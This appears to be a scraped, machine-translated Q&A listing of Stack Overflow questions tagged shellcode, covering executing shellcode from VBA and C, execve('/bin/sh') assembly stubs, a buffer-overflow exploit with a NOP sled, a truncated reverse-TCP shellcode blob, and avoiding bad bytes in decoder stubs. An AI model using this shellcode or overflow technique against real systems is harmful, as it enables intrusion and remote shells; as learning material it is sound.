标签: shellcode

在 VBA 中直接执行汇编代码 - 仅在 Excel 中失败

我有一些 VBA 代码,用于将 COM vtable 中的函数指针之一与汇编代码的 NO-OP 位交换。它在 twinBASIC 中工作,这是一个独立的 VBA 环境,所以我知道我已经非常接近了,但是在 Excel 中它崩溃了。

这是 minrepro,可以在 tB 中运行,理论上不能在 Excel VBA 中运行。

Class DummyThing
    Sub DoNothing()
    End Sub
End Class

Module VBA
    Private Const MEM_COMMIT As Long = &H1000
    Private Const MEM_RESERVE As Long = &H2000
    Private Const PAGE_EXECUTE_READWRITE  As Long = &H40

    Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _
            ByVal lpAddress As LongPtr, _
            ByVal dwSize As Long, _
            ByVal flAllocationType As Long, _
            ByVal flProtect As …
Run Code Online (Sandbox Code Playgroud)

com assembly vba x86-64 shellcode

3
推荐指数
1
解决办法
202
查看次数

Linux的安全措施反对执行shellcode

我正在学习计算机安全的基础知识,并且我正在尝试执行一些我写过的shellcode.我按照这里给出的步骤

http://dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf

http://webcache.googleusercontent.com/search?q=cache:O3uJcNhsksAJ:dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf+own+shellcode&cd=1&hl=nl&ct=clnk&gl=nl

$ cat pause.s
xor %eax,%eax
mov $29,%al     
int $0x80       
$ as -o pause.o pause.s
$ ld -o pause pause.o
ld: warning: cannot find entry symbol _start; defaulting to <<some address here>>
$ ./pause 
^C
$ objdump -d ./pause
pause:     file format elf64-x86_64
Disassembly of section .text:
      08048054 <.text>:
      8048054: 31 c0     xor    %eax,%eax
      8048056: b0 1d     mov    $0x1d,%al
      8048058: cd 80     int    $0x8
$
Run Code Online (Sandbox Code Playgroud)

由于我让暂停程序工作,我只是将objdump输出复制到ac文件.

test.c的:

int main()
{
    char s[] = "\x31\xc0\xb0\x1d\xcd\x80";
    (*(void(*)())s)();
}
Run Code Online (Sandbox Code Playgroud)

但这会产生段错误.现在,这只能归功于Arch Linux(?)的安全措施.那我怎么能让它运作起来呢?

x86-64 linux-kernel archlinux shellcode

2
推荐指数
1
解决办法
1532
查看次数

Shellcode:执行2次execve()调用

我试图在汇编中编写shellcode.我需要执行/usr/bin/killall命令和/usr/bin/wget命令.我有两个命令在shellcode中使用execve()syscall 完美运行.但是现在我想要将这两个结合起来,但这是不可能的,因为程序在执行第一个execve()调用时退出.(摘自execve():execve()成功后不返回).

我该如何进行2次execve()通话?还是有另一种方法来调用都/usr/bin/killall/usr/bin/wget同一个shell代码?

提前问候和感谢!

c assembly buffer-overflow execve shellcode

2
推荐指数
1
解决办法
625
查看次数

如何在DLL中查找特定指令的内存中地址

如何找到特定指令的内存地址(用于漏洞编写)?

具体来说,我正在寻找没有Service Pack的Windows XP上的call ebp指令,user32.dll我可以指向它的地址EIP.我在目标上安装了Immunity DebuggerOllyDBG.

windows security dll exploit shellcode

2
推荐指数
1
解决办法
4977
查看次数

如何在osx上使堆栈可执行?

我现在正在经历"Hacking;剥削艺术",并且正在练习编写shell代码注入我编写的一些示例代码.

我正在将shell代码注入环境变量.在lldb中,我可以看到我正在覆盖返回地址,并且EIP被设置为我的NOP雪橇的中间位置.但是,它会抛出"EXC_BAD_ACCESS"和段错误.

这是我的shellcode的堆栈部分:

0xbffffbd8: "SHELL=/bin/sh"
0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff901\xffffffc01\xffffffdb1\xffffffc9\xffffff99\xffffffb0\xffffffa4\xffffffcd\xffffff80j\vXQh//shh/bin\xffffff89\xffffffe3Q\xffffff89\xffffffe2S\xffffff89\xffffffe1\xffffffcd\xffffff80"
0xbffffcdc: "SHLVL=4"
Run Code Online (Sandbox Code Playgroud)

调用lldb ./notesearch $(perl -e 'print "\x5e\xfc\xff\xbf"x40')执行缓冲区溢出,这是我们在segfaults时得到的:

Process 21713 stopped
* thread #1: tid = 0xa33bc3, 0xbffffc5e, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbffffc5e)
    frame #0: 0xbffffc5e
->  0xbffffc5e: nop    
    0xbffffc5f: nop    
    0xbffffc60: nop    
    0xbffffc61: nop    
Run Code Online (Sandbox Code Playgroud)

我正在使用 gcc -g -O0 -fno-stack-protector -D_FORTIFY_SOURCE=0 -fomit-frame-pointer 编译代码,我正在使用带有和选项集的change_mach_o_flags.py脚本.--no-pie--executable-heap

认为问题是osx自动将堆栈设置为不可执行.不幸的是,-z execstack在osx中似乎没有gcc 的选项.也没有execstack使用的实用程序.

我已经浏览了网页,无论如何都无法找到我的编译代码中的堆栈可执行文件.有没有办法做到这一点,如果是这样,怎么样?

c security macos gcc shellcode

2
推荐指数
1
解决办法
709
查看次数

为什么系统调用不起作用?

我在MAC OSX上,我试图通过程序集调用execve系统调用..他的操作码是59.在linux中我必须将操作码设置为eax,然后将参数设置到其他寄存器中,但在这里我必须将操作码放入eax并将参数从右向左推入堆栈.

所以我需要execve("/ bin/sh",NULL,NULL),我发现某个地方有程序集null = 0,所以我将null放入第二和第三个参数.

global start 
section .text
start:
    jmp string
main: 
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    pop ebx             ;stringa
    push 0x0            ;3rd param
    push 0x0            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    int 0x80
string:
    call main
    db '/bin/sh',0
Run Code Online (Sandbox Code Playgroud)

当我尝试执行它时说:系统调用错误:12

macos x86 assembly nasm shellcode

2
推荐指数
1
解决办法
679
查看次数

在C中执行shellcode(Visual Studio 2017

当我尝试用 C 执行 shellcode(一个基本的反向 TCP,指向本地地址)时遇到问题。

我从基础开始,编写了以下代码:

#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>



int main(int argc, char * argv[])
{

    unsigned char shellcode[] = \
        "\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
        "\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
        "\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
        "\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
        "\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
        "\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
        "\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
        "\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
        "\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
        "\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
        "\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
        "\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
        "\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
        ;


    int(*ret)() = (int(*)())shellcode;
    ret();

}


return 1;
}
Run Code Online (Sandbox Code Playgroud)

(我剪切了示例的 shellcode)当我使用 Visual Studio Community 2017 编译这个 .c 文件时,我收到一些关于未使用的 argv 和 argc 的警告,以及 ret 中从 () 到 (void) 的转换。

然后我尝试执行该文件,并得到一个很棒的“已停止工作”。所以我在 Visual Studio 中启动调试,这是我得到的:

调试

所以这是一个访问冲突错误,但是为什么呢?我在谷歌上搜索了一下,似乎这个错误可能有很多原因,但我不明白为什么它会发生在我身上。

c windows visual-studio metasploit shellcode

2
推荐指数
1
解决办法
4446
查看次数

避免使用 CALL 读取 RIP 的 shellcode 中的 0xFF 字节?

我正在尝试编写解码器存根,但遇到了0xFF作为坏字符的限制。我正在使用该jmp-call-pop方法将我编码的 shellcode 的地址放入一个寄存器中。这是相关的片段:

401012: e8 eb ff ff ff          call   0x401002
Run Code Online (Sandbox Code Playgroud)

似乎call总是0xFF以字节为单位使用。是否有另一条指令在执行时会压入rip堆栈并跳转到另一段代码?我试过手动将地址推送到堆栈上,但这会导致空字节,因为我的地址有 3 个字节长并且需要填充。


我的机器代码中不允许的字节是:

  • 00
  • FF

assembly x86-64 machine-code shellcode

2
推荐指数
1
解决办法
699
查看次数

在栈上为execve创建一个arg数组

我想编写一个汇编程序,该程序通过 EXECVE(系统调用 #0x3C)程序 /bin/ls 和开关 -al 执行。

手册页 (man 2 execve) 指出调用需要三个值:

int execve(const char *filename, char *const argv[], char *const envp[]);

我不太明白如何建立三个论点。据我所知,第一个参数进入RDI,第二个进入RSI,第三个进入RDX。我相信设置第一个就足够了

    push 0x736c2f2f         ;sl//
    push 0x6e69622f         ;nib/
    mov rdi, rsp
Run Code Online (Sandbox Code Playgroud)

对于第三个,事情很简单:

    xor r11, r11
    mov rdx, r11
Run Code Online (Sandbox Code Playgroud)

我的问题是我不知道如何构建第二个参数,它应该是一个包含 ['/bin//ls', '-aal']

我需要为 x86-64 编写它,所以请不要int 0x80提出建议。

assembly x86-64 shellcode

2
推荐指数
1
解决办法
479
查看次数

助记符中的无效字符“\”

我是 asm/shellcode 新手,我在编译 ParrotOS 中作为模板包含的示例 shellcode 时遇到了麻烦。

我浏览了以下主题,但它无法解决我的问题:

程序集错误:助记符中的无效字符“$”

助记符中的无效字符 (0xe2)

我尝试使用ascommand 而不是gcc,但是我遇到了同样的错误。

char code[] = 

    "\xe9\x1e\x00\x00\x00"  //          jmp    8048083 <MESSAGE>
    "\xb8\x04\x00\x00\x00"  //          mov    $0x4,%eax
    "\xbb\x01\x00\x00\x00"  //          mov    $0x1,%ebx
    "\x59"                  //          pop    %ecx
    "\xba\x0f\x00\x00\x00"  //          mov    $0xf,%edx
    "\xcd\x80"              //          int    $0x80
    "\xb8\x01\x00\x00\x00"  //          mov    $0x1,%eax
    "\xbb\x00\x00\x00\x00"  //          mov    $0x0,%ebx
    "\xcd\x80"              //          int    $0x80
    "\xe8\xdd\xff\xff\xff"  //          call   8048065 <GOBACK>
    "give me a bottle of rum!\r\n";     // OR       "\x48\x65\x6c\x6c\x6f\x2c\x20\x57"
                            //          "\x6f\x72\x6c\x64\x21\x0d\x0a"


int main(int argc, char **argv)
{
    (*(void(*)())code)(); …
Run Code Online (Sandbox Code Playgroud)

c linux assembly gcc shellcode

2
推荐指数
2
解决办法
735
查看次数